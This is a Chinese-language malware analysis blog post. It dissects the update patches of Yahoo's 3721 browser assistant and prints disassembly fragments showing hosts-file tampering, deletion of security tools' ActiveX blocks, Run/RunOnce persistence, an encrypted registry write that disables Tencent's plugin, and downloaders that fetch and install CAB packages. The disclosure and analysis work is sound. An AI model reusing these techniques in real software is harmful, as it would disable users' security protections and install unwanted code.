================================= 注意:此文为技术分析,不带任何偏向立场 由本文反汇编某厂商的病毒文件或曰恶意竞争文件而导致的 任何法律问题,本人一概不负责 by MJ0011 =================================
刚才分析了Yahoo上网助手的34号patch包,找到一些同360安全卫士PK的有意思的东西,便对上网助手的patch感兴趣起来了,想看看之前的33个patch包都是干了什么事呢?其中patch03,04,05,06,09,10,11,16,18,22,07,24,25,26,28,29,32可以下载
其他编号的想必是迫于压力又或是某些不可告人的原因 被撤消了(就象之前分析的patch34) 所以无法下载
patch最早从04年02月01日开始 最新的patch是06年10月10日
见证了3721及其附属产品2年多的流氓史
那么挨个看一下他们分别都干了些什么:
<1>. 03号patch: 日期 01/02/04 13:38:49(注:时间格式:月/日/年,直接从flashget上复制过来的)
主要是对system32driversetchosts也就是系统hosts文件进行恶意篡改,将其 中对3721.net,3721.com的屏蔽修改回来 主要代码截取如下:
push ebx ; FILE * push 1 ; size_t push esi ; size_t push edi ; void * call ds:fread and byte ptr [edi+esi], 0 push edi call sub_1000222B mov esi, ds:strstr mov ebx, offset s__3721_com ; ".3721.com" ; x push ebx ; char * push edi ; char * call esi ; strstr add esp, 1Ch test eax, eax jz short loc_100021C8
loc_100021C8: ; ".3721.net" mov ebx, offset s__3721_net push ebx ; char * push edi ; char * call esi ; strstr pop ecx test eax, eax pop ecx jz short loc_100021EF ;以上是恢复3721.com和3721.net的屏蔽
loc_100022A7: push 0 call sub_10002331 test eax, eax pop ecx jz short loc_100022BA
offset s_System32Drive ; "system32driversetchosts" jmp short loc_100022BF ;此处判断操作系统版本并取得不同版本windwos的hosts文件路径
<2>. 04号patch: 日期 01/18/04 10:38:24 04号patch带了一个patch41.dat
该patch和patch34一样,同样会将自己自毁 且代码完全一样
patch41.dat是个加密了的文件,算法有点古怪,我估计是类似“竞争对手网站屏蔽表这样的东西”
<3>. 05号patch 日期 04/22/04 15:07:35 更新一个clsid
<4>. 06号patch 日期 05/13/04 09:58:10 删除SOFTWAREMicrosoftInternet ExplorerActiveX Compatibility下的如下几个键值: '{B83FC273-3522-4CC6-92EC-75CC86678DA4}'=3721网络实名模块cnsmin.dll '{4522DBFE-14CD-4A59-AC2A-54BADFDD6D53}'=3721网络实名 '{1B0E7716-898E-48CC-9690-4E338E8DE1D3}'=3721上网助手模块ASSIST.DLL '{7CA83CF1-3AEA-42D0-A4E3-1594FC6E48B2}'=3721上网助手模块autolive.dll '{4EDBBAEA-F509-49F6-94D1-ECEC4BE5B686}'=3721中文邮 '{8D898B17-976D-44c1-84E6-AF38842AC9EC}'=3721升级包模块 用于恢复类似 恶意软件清理助手,360SAFE,OPIEA,优化大师等在注册表中对3721部分产品的 插件屏蔽 导致屏蔽失效!
删除屏蔽插件的部分代码:
.data:10002197 loc_10002197: .data:10002197 push dword ptr [edi] .data:10002199 lea eax, [ebp+pszSubKey] .data:1000219F push offset s_SoftwareMicro ; "SOFTWAREMicrosoftInternet ExplorerActiveX Compatibility" .data:100021A4 push offset s_SS ; "%s%s" .data:100021A9 push 103h ; size_t .data:100021AE push eax ; char * .data:100021AF call ds:_snprintf .data:100021B5 add esp, 14h .data:100021B8 lea eax, [ebp+pszSubKey] .data:100021BE push eax ; pszSubKey .data:100021BF push 80000002h ; hkey .data:100021C4 call ds:SHDeleteKeyA .data:100021CA inc esi .data:100021CB add edi, 4 .data:100021CE cmp esi, dword_10002028 .data:100021D4 jl short loc_10002197 .data:100021D4 .data:100021D6 .data:100021D6 loc_100021D6: .data:100021D6 pop edi .data:100021D7 xor eax, eax .data:100021D9 pop esi .data:100021DA leave .data:100021DB retn
<5>. 09号patch
似乎是一个check模块 检查3721部件是否正常(校验码是否正确) 否则会从3721的网站download安装程序重新安装 (url=http://user.3721.com/soft/patch09.htm?fb=0 和http://user.3721.com/soft/patch09.htm?fb=1 ) (可能针对某些清理软件的破坏)
<6>. 10号patch 日期 12/10/04 11:07:21 同样是一个check模块 会检查3721的组件是否正常,若被破坏,则自动释放出patch10.exe(包含在DLL资源中)并执行
部分代码: push offset s_SAssist3721 ; "%sassist3721" lea eax, [ebp+var_568] push edi ; size_t push eax ; char * call ebx ; _snprintf push esi push offset s_SAssistRepair ; "%sassistrepair.dll" lea eax, [ebp+pszPath] push edi ; size_t push eax ; char * call ebx ; _snprintf add esp, 20h lea eax, [ebp+pszPath] push eax ; pszPath call ds:PathFileExistsA ;检查上面几个dll是否存在
test eax, eax jz loc_100022D3
lea eax, [ebp+Buffer] push eax push offset s_SPatch10_exe ; "%spatch10.exe" lea eax, [ebp+FileName] push edi ; size_t push eax ; char * call ebx ; _snprintf add esp, 10h lea eax, [ebp+FileName] push eax ; lpFileName
............... ................ lea eax, [ebp+hObject] push eax ; lpProcessInformation lea eax, [ebp+StartupInfo] push eax ; lpStartupInfo push esi ; lpCurrentDirectory push esi ; lpEnvironment push esi ; dwCreationFlags push esi ; bInheritHandles push esi ; lpThreadAttributes lea eax, [ebp+CommandLine] push esi ; lpProcessAttributes push eax ; lpCommandLine push esi ; lpApplicationName call ds:CreateProcessA ;执行patch10.exe cmp [ebp+hObject], esi mov edi, ds:CloseHandle jz short loc_100022C9
;释放并执行patch10.exe
patch10.exe实际上是一个downloader(下载者),会从
http://download.3721.com/download/asrepair.cab?t=%d 下载3721恢复包 恢复被清除的3721
<7>.11号patch 日期 06/17/05 12:22:42 该patch启动后会使用rundll32.exe加载自己 创建一个名为3721CNSINSTSHELL_INSTALLMUTEX_PATCH11的互斥对象
然后释放出一个cab文件,里面是压缩后的wmpns.dll,查了一下,是3721反间谍专家的一个附属 的dll,有恶意软件性质 并会将CNS的Setup程序写入runonce键值(重启后安装CNS网络实名)
将cnsAutoUpdate写入注册表Run键值(每次开机自动执行更新程序)
部分代码: push offset s_Rundll32_exeS ; "Rundll32.exe %s,RundllEx" ;安装程序,使用rundll32调用
push 104h ; size_t push ecx ; char * call ebx ; _snprintf lea edi, [esp+754h+pvData] or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx lea edx, [esp+744h+pvData] push ecx ; cbData push edx ; pvData push 1 ; dwType push offset s_Setup ; "Setup" push offset s_SoftwareMic_2 ; "SoftwareMicrosoftWindowsCurrentVersi"...
;写入runonce键值
push 80000002h ; hkey call ds:SHSetValueA mov esi, 1
<8>.16号patch
16号patch是个非常有意思的东西,它会把这个注册表键值设为"no" HKCUSoftwareTencentTBHEnableTBH 用来打击腾讯的BHO 将腾讯的浏览器插件设为禁止后 该patch将自毁
为了防止别人发现它修改tencent的键值以带来不必要的麻烦,该PATCH中对注册表部分的读写是 加密了的 (呵呵,看了这个之后腾讯会不会去找YAHOO的麻烦呢?) 代码如下: mov esi, offset s_A709ce5ce8561 ; "A709CE5CE8561FEDE4" lea edi, [ebp+pszValue] movsd movsd movsd movsd movsw movsb push 3Ch xor eax, eax pop ecx lea edi, [ebp+var_F5] rep stosd stosb push 0Ah mov esi, offset s_B108c94af3523 ; "B108C94AF35239CAF0C2B5588CFFD3B4DB1B2FC"... pop ecx
lea edi, [ebp+pszSubKey] rep movsd movsb push 36h xor eax, eax pop ecx lea edi, [ebp+var_1E3] rep stosd stosw stosb mov esi, 82h lea eax, [ebp+pszValue] push esi ; int push eax ; char * call sub_10001067
lea eax, [ebp+pszSubKey] push esi ; int push eax ; char * call sub_10001067 mov esi, offset s_No ; "no" lea edi, [ebp+pvData] movsw movsb push 40h xor eax, eax pop ecx lea edi, [ebp-411h] rep stosd stosb lea eax, [ebp+pvData] push eax ; char * call strlen add esp, 14h push eax ; cbData lea eax, [ebp+pvData] push eax ; pvData lea eax, [ebp+pszValue] push 1 ; dwType push eax ; pszValue lea eax, [ebp+pszSubKey] push eax ; pszSubKey push 80000001h ; hkey call ds:SHSetValueA 其中sub_10001067子程序就是将B108C94AF35239CAF0C2B5588CFFD3B4DB1B2FC与 A709CE5CE8561FEDE4进行解密,从而得到HKCUSoftwareTencentTBHEnableTBH这个注册表路 径
然后对其写入键值:no 起到禁止腾讯bho的作用
更有意思的是 我发现了一篇文章:《!腾讯流氓覆灭记!》其中所说的方法和这个patch完全一 致,呵呵 不知两者有何关联
<9>.18号patch 日期 09/23/05 14:44:46 加载2005年的yahoo流氓部分插件:zsmod.dll 这是个3721上网助手卸载后不会完全删除的组件 具体可见那篇著名的<<全面剖析3721及上网助手>>
<10>.22号patch 日期 12/19/05 13:51:49 主要用于从http://download.3721.com/download/CnsMin.cab这个地址download一个cnsmin.cab并安装 也就是自动安装网络实名 没什么新东西,代码就不列了
<11>.07号patch 日期 08/06/04 14:43:07 与04号patch基本一样 只是所带的.dat文件有所更改 自毁
<12>.24号patch 日期 01/25/06 13:28:54 该patch只有一个字节0x20 估计是被丢弃的一个patch
<13>.25号patch 日期 04/24/06 03:41:54 又是一个下载者 会下载: http://download.3721.com/download/cnsdtu.cab http://download.3721.com/download/keepmainM.cab 这两个3721相关产品并自动安装之
<14>.26号patch 日期 05/11/06 12:31:19
和25号patch基本一致,还是下载者 会下载: http://download.3721.com/download/cnsdtu.cab 这个3721相关产品并自动安装之
<15>.28号patch 日期:无 不知道为什么,是一个0字节文件 可能被丢弃
<16>.29号patch 日期 10/10/06 11:46:57
这是为数不多的有意思的patch之一....
资源里有这两个有意思的路径: 1. d:doworkCnsPatchpatch29sysReleasehack.pdb (自己承认是hack别人东西的驱动~)
2. e:mywork360safesrcantidriver 360safe的anti driver(反3721,中搜等的一些流氓驱动的占坑驱动)
特点: 1.自毁 2.删除360SAFE的驱动/注册表项 3.释放并注册一个在boot时会加载的驱动,与360safe的pnp占坑驱动进行PK,看谁加载得快,就把谁给删了(如果那之前360SAFE的服务键值还没被删的话)
<17>.32号patch 日期 09/22/06 09:19:36
会干掉很棒小秘书:P 包括hbhelper.dll,tbhelper.dll,hbclient,启动项,就连“很棒小秘书.lnk"也不放过...(流氓自个打架...)
会释放一个hack驱动,不过不会以BOOT方式加载
<18>.34号驱动
在之前的文章里有分析: http://www.cnbeta.com/modules.php?name=News&file=article&sid=16531 == Yahoo上网助手自杀式破坏360safe的程序代码分析
完了 分析这多,累死偶也...后面几个懒得列代码了 偶把3721的老底给揭了...不知道某厂商会不会派杀手追杀偶... 其中还涉及到yahoo与tencent,很棒,360间PK,争夺客户端... 因为匆匆分析这18个文件,又都是静态分析...所以估计难免会有错误...还请高手指正...
|
|